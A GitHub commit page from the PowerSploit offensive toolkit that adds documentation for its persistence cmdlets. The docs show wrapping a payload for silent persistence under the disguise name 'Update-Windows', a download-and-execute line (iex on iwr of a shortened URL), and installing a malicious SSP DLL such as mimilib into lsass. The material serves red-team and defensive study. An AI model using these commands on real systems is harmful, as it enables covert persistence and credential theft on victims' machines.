Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit cf44439

Browse files
HarmJ0yHarmJ0y
committed
For ./Persistence/ :
 -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs
1 parent a81faf3 commit cf44439

File tree

8 files changed

+894
-131
lines changed

8 files changed

+894
-131
lines changed

‎Persistence/Persistence.psm1

Lines changed: 148 additions & 130 deletions
Large diffs are not rendered by default.

‎docs/Persistence/Add-Persistence.md

Lines changed: 227 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,227 @@
1+
# Add-Persistence
2+
3+
## SYNOPSIS
4+
Add persistence capabilities to a script.
5+
6+
PowerSploit Function: Add-Persistence
7+
Author: Matthew Graeber (@mattifestation)
8+
License: BSD 3-Clause
9+
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
10+
Optional Dependencies: None
11+
12+
## SYNTAX
13+
14+
### ScriptBlock
15+
```
16+
Add-Persistence -ScriptBlock <ScriptBlock> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>
17+
[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
18+
[-DoNotPersistImmediately] [-PassThru]
19+
```
20+
21+
### FilePath
22+
```
23+
Add-Persistence -FilePath <String> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>
24+
[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
25+
[-DoNotPersistImmediately] [-PassThru]
26+
```
27+
28+
## DESCRIPTION
29+
Add-Persistence will add persistence capabilities to any script or scriptblock.
30+
This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
31+
32+
## EXAMPLES
33+
34+
### -------------------------- EXAMPLE 1 --------------------------
35+
```
36+
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
37+
```
38+
39+
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
40+
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
41+
42+
Description
43+
-----------
44+
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs.
45+
elevated) determined at runtime.
46+
47+
### -------------------------- EXAMPLE 2 --------------------------
48+
```
49+
$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
50+
```
51+
52+
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
53+
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
54+
Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
55+
56+
Description
57+
-----------
58+
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs.
59+
elevated) determined at runtime.
60+
The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement.
61+
The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
62+
63+
## PARAMETERS
64+
65+
### -ScriptBlock
66+
Specifies a scriptblock containing your payload.
67+
68+
```yaml
69+
Type: ScriptBlock
70+
Parameter Sets: ScriptBlock
71+
Aliases:
72+
73+
Required: True
74+
Position: Named
75+
Default value: None
76+
Accept pipeline input: True (ByValue)
77+
Accept wildcard characters: False
78+
```
79+
80+
### -FilePath
81+
Specifies the path to your payload.
82+
83+
```yaml
84+
Type: String
85+
Parameter Sets: FilePath
86+
Aliases: Path
87+
88+
Required: True
89+
Position: Named
90+
Default value: None
91+
Accept pipeline input: False
92+
Accept wildcard characters: False
93+
```
94+
95+
### -ElevatedPersistenceOption
96+
Specifies the trigger for the persistent payload if the target is running elevated.
97+
You must run New-ElevatedPersistenceOption to generate this argument.
98+
99+
```yaml
100+
Type: Object
101+
Parameter Sets: (All)
102+
Aliases:
103+
104+
Required: True
105+
Position: Named
106+
Default value: None
107+
Accept pipeline input: False
108+
Accept wildcard characters: False
109+
```
110+
111+
### -UserPersistenceOption
112+
Specifies the trigger for the persistent payload if the target is not running elevated.
113+
You must run New-UserPersistenceOption to generate this argument.
114+
115+
```yaml
116+
Type: Object
117+
Parameter Sets: (All)
118+
Aliases:
119+
120+
Required: True
121+
Position: Named
122+
Default value: None
123+
Accept pipeline input: False
124+
Accept wildcard characters: False
125+
```
126+
127+
### -PersistenceScriptName
128+
Specifies the name of the function that will wrap the original payload.
129+
The default value is 'Update-Windows'.
130+
131+
```yaml
132+
Type: String
133+
Parameter Sets: (All)
134+
Aliases:
135+
136+
Required: False
137+
Position: Named
138+
Default value: Update-Windows
139+
Accept pipeline input: False
140+
Accept wildcard characters: False
141+
```
142+
143+
### -PersistentScriptFilePath
144+
Specifies the path where you would like to output the persistence script.
145+
By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
146+
147+
```yaml
148+
Type: String
149+
Parameter Sets: (All)
150+
Aliases:
151+
152+
Required: False
153+
Position: Named
154+
Default value: "$PWD\Persistence.ps1"
155+
Accept pipeline input: False
156+
Accept wildcard characters: False
157+
```
158+
159+
### -RemovalScriptFilePath
160+
Specifies the path where you would like to output a script that will remove the persistent payload.
161+
By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
162+
163+
```yaml
164+
Type: String
165+
Parameter Sets: (All)
166+
Aliases:
167+
168+
Required: False
169+
Position: Named
170+
Default value: "$PWD\RemovePersistence.ps1"
171+
Accept pipeline input: False
172+
Accept wildcard characters: False
173+
```
174+
175+
### -DoNotPersistImmediately
176+
Output only the wrapper function for the original payload.
177+
By default, Add-Persistence will output a script that will automatically attempt to persist (e.g.
178+
it will end with 'Update-Windows -Persist').
179+
If you are in a position where you are running in memory but want to persist at a later time, use this option.
180+
181+
```yaml
182+
Type: SwitchParameter
183+
Parameter Sets: (All)
184+
Aliases:
185+
186+
Required: False
187+
Position: Named
188+
Default value: False
189+
Accept pipeline input: False
190+
Accept wildcard characters: False
191+
```
192+
193+
### -PassThru
194+
Outputs the contents of the persistent script to the pipeline.
195+
This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
196+
197+
```yaml
198+
Type: SwitchParameter
199+
Parameter Sets: (All)
200+
Aliases:
201+
202+
Required: False
203+
Position: Named
204+
Default value: False
205+
Accept pipeline input: False
206+
Accept wildcard characters: False
207+
```
208+
209+
## INPUTS
210+
211+
### None
212+
213+
Add-Persistence cannot receive any input from the pipeline.
214+
215+
## OUTPUTS
216+
217+
### System.Management.Automation.ScriptBlock
218+
219+
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
220+
221+
## NOTES
222+
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
223+
224+
## RELATED LINKS
225+
226+
[http://www.exploit-monday.com](http://www.exploit-monday.com)
227+

‎docs/Persistence/Get-SecurityPackage.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# Get-SecurityPackage
2+
3+
## SYNOPSIS
4+
Enumerates all loaded security packages (SSPs).
5+
6+
Author: Matthew Graeber (@mattifestation)
7+
License: BSD 3-Clause
8+
Required Dependencies: None
9+
Optional Dependencies: None
10+
11+
## SYNTAX
12+
13+
```
14+
Get-SecurityPackage
15+
```
16+
17+
## DESCRIPTION
18+
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
19+
It also parses the returned SecPkgInfo struct array.
20+
21+
## EXAMPLES
22+
23+
### -------------------------- EXAMPLE 1 --------------------------
24+
```
25+
Get-SecurityPackage
26+
```
27+
28+
## PARAMETERS
29+
30+
## INPUTS
31+
32+
## OUTPUTS
33+
34+
## NOTES
35+
36+
## RELATED LINKS
37+

‎docs/Persistence/Install-SSP.md

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# Install-SSP
2+
3+
## SYNOPSIS
4+
Installs a security support provider (SSP) dll.
5+
6+
Author: Matthew Graeber (@mattifestation)
7+
License: BSD 3-Clause
8+
Required Dependencies: None
9+
Optional Dependencies: None
10+
11+
## SYNTAX
12+
13+
```
14+
Install-SSP [[-Path] <String>]
15+
```
16+
17+
## DESCRIPTION
18+
Install-SSP installs an SSP dll.
19+
Installation involves copying the dll to
20+
%windir%\System32 and adding the name of the dll to
21+
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
22+
23+
## EXAMPLES
24+
25+
### -------------------------- EXAMPLE 1 --------------------------
26+
```
27+
Install-SSP -Path .\mimilib.dll
28+
```
29+
30+
## PARAMETERS
31+
32+
### -Path
33+
{{Fill Path Description}}
34+
35+
```yaml
36+
Type: String
37+
Parameter Sets: (All)
38+
Aliases:
39+
40+
Required: False
41+
Position: 1
42+
Default value: None
43+
Accept pipeline input: False
44+
Accept wildcard characters: False
45+
```
46+
47+
## INPUTS
48+
49+
## OUTPUTS
50+
51+
## NOTES
52+
The SSP dll must match the OS architecture.
53+
i.e.
54+
You must have a 64-bit SSP dll
55+
if you are running a 64-bit OS.
56+
In order for the SSP dll to be loaded properly
57+
into lsass, the dll must export SpLsaModeInitialize.
58+
59+
## RELATED LINKS
60+

0 commit comments

Comments
 (0)